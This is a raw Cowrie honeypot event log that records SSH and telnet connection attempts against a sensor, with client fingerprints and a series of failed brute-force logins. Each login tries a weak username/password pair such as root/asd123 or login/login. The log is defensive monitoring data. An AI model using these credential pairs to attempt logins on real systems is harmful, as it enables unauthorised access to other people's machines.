{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49484,"dst_ip":"159.203.135.109","dst_port":22,"session":"9daa450f0bcf","protocol":"ssh","message":"New connection: 192.109.200.237:49484 (159.203.135.109:22) [session: 9daa450f0bcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:06.792269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:06.797091Z","src_ip":"192.109.200.237","session":"9daa450f0bcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:06.879401Z","src_ip":"192.109.200.237","session":"9daa450f0bcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"login","password":"login","message":"login attempt [login/login] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:07.129358Z","src_ip":"192.109.200.237","session":"9daa450f0bcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:08.214344Z","src_ip":"192.109.200.237","session":"9daa450f0bcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56628,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ac06c7c398f","protocol":"telnet","message":"New connection: 50.6.8.71:56628 (10.17.0.5:23) [session: 7ac06c7c398f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:08.783716Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38582,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a6b883955f9","protocol":"ssh","message":"New connection: 192.109.200.237:38582 (159.203.135.109:22) [session: 6a6b883955f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:10.032487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:10.037243Z","src_ip":"192.109.200.237","session":"6a6b883955f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:10.119588Z","src_ip":"192.109.200.237","session":"6a6b883955f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:10.365587Z","src_ip":"192.109.200.237","session":"6a6b883955f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:11.451090Z","src_ip":"192.109.200.237","session":"6a6b883955f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38604,"dst_ip":"159.203.135.109","dst_port":22,"session":"c35aa40f7e6a","protocol":"ssh","message":"New connection: 192.109.200.237:38604 (159.203.135.109:22) [session: c35aa40f7e6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:13.438650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:13.443581Z","src_ip":"192.109.200.237","session":"c35aa40f7e6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:13.525622Z","src_ip":"192.109.200.237","session":"c35aa40f7e6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:13.775392Z","src_ip":"192.109.200.237","session":"c35aa40f7e6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:14.863988Z","src_ip":"192.109.200.237","session":"c35aa40f7e6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.00009846687317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:15.628471Z","src_ip":"50.6.8.71","session":"4940cc2c9816","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59118,"dst_ip":"10.17.0.5","dst_port":23,"session":"43d90fac962c","protocol":"telnet","message":"New connection: 50.6.8.71:59118 (10.17.0.5:23) [session: 43d90fac962c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:15.824917Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38630,"dst_ip":"159.203.135.109","dst_port":22,"session":"2953d454e099","protocol":"ssh","message":"New connection: 192.109.200.237:38630 (159.203.135.109:22) [session: 2953d454e099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:16.797650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:16.802622Z","src_ip":"192.109.200.237","session":"2953d454e099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:16.885288Z","src_ip":"192.109.200.237","session":"2953d454e099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123","message":"login attempt [frappe/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:17.132754Z","src_ip":"192.109.200.237","session":"2953d454e099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:18.217756Z","src_ip":"192.109.200.237","session":"2953d454e099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50078,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5ba2a7ecc13","protocol":"ssh","message":"New connection: 192.109.200.237:50078 (159.203.135.109:22) [session: d5ba2a7ecc13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:20.087877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:20.096974Z","src_ip":"192.109.200.237","session":"d5ba2a7ecc13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:20.179345Z","src_ip":"192.109.200.237","session":"d5ba2a7ecc13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741852963","message":"login attempt [root/741852963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:20.426205Z","src_ip":"192.109.200.237","session":"d5ba2a7ecc13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:21.511773Z","src_ip":"192.109.200.237","session":"d5ba2a7ecc13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":48468,"dst_ip":"159.203.135.109","dst_port":22,"session":"c36c07fb95b5","protocol":"ssh","message":"New connection: 194.59.206.2:48468 (159.203.135.109:22) [session: c36c07fb95b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:21.681806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:21.686496Z","src_ip":"194.59.206.2","session":"c36c07fb95b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:21.776844Z","src_ip":"194.59.206.2","session":"c36c07fb95b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:21.871854Z","src_ip":"194.59.206.2","session":"c36c07fb95b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50092,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a4a41eda76d","protocol":"ssh","message":"New connection: 192.109.200.237:50092 (159.203.135.109:22) [session: 9a4a41eda76d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:23.526833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:23.531634Z","src_ip":"192.109.200.237","session":"9a4a41eda76d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:23.613654Z","src_ip":"192.109.200.237","session":"9a4a41eda76d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:23.862365Z","src_ip":"192.109.200.237","session":"9a4a41eda76d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:24.948305Z","src_ip":"192.109.200.237","session":"9a4a41eda76d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50104,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee55afb442b6","protocol":"ssh","message":"New connection: 192.109.200.237:50104 (159.203.135.109:22) [session: ee55afb442b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:26.912566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:26.917240Z","src_ip":"192.109.200.237","session":"ee55afb442b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:27.001761Z","src_ip":"192.109.200.237","session":"ee55afb442b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amp","password":"amp","message":"login attempt [amp/amp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:27.249089Z","src_ip":"192.109.200.237","session":"ee55afb442b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:28.425063Z","src_ip":"192.109.200.237","session":"ee55afb442b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55684,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a90b0768839","protocol":"ssh","message":"New connection: 192.109.200.237:55684 (159.203.135.109:22) [session: 2a90b0768839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:30.148371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:30.154054Z","src_ip":"192.109.200.237","session":"2a90b0768839","protocol":"ssh"}
